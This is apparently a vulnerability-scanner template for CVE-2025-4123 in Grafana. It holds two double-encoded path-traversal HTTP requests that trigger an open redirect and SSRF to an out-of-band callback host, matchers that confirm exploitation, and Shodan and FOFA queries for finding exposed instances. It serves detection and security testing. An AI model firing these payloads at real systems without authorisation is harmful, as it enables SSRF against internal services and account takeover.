id: CVE-2025-4123

info:
  name: Grafana - XSS / Open Redirect / SSRF via Client Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 7.6
    cve-id: CVE-2025-4123
    cwe-id: CWE-79,CWE-601
    epss-score: 0.01231
    epss-percentile: 0.86537
  reference:
    - https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53
    - https://grafana.com/blog/2025/05/21/grafana-security-release-high-severity-security-fix-for-cve-2025-4123/
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"Grafana"
    fofa-query: app="Grafana"
  tags: cve,cve2025,grafana,redirect,unauth,oss

http:
  - raw:
      - |
        GET /render/public/..%252f%255C{{interactsh-url}}%252f%253F%252f..%252f.. HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302 && contains(location, '/\\oast.pro/?/../../')

      - type: dsl
        name: ssrf
        dsl:
          - contains(interactsh_protocol, 'dns') && contains(content_type, 'image/png')
# digest: 4a0a00473045022100b677c703bdd4f5e0e80cf2685612a771434fb96b68a04e94d4f9d50d0b6b97cd02203bdcd05fe058e18907b5a9546e43f373f332b559382bf35990bb5199586652b6:922c64590222798bb761d5b6d8e72950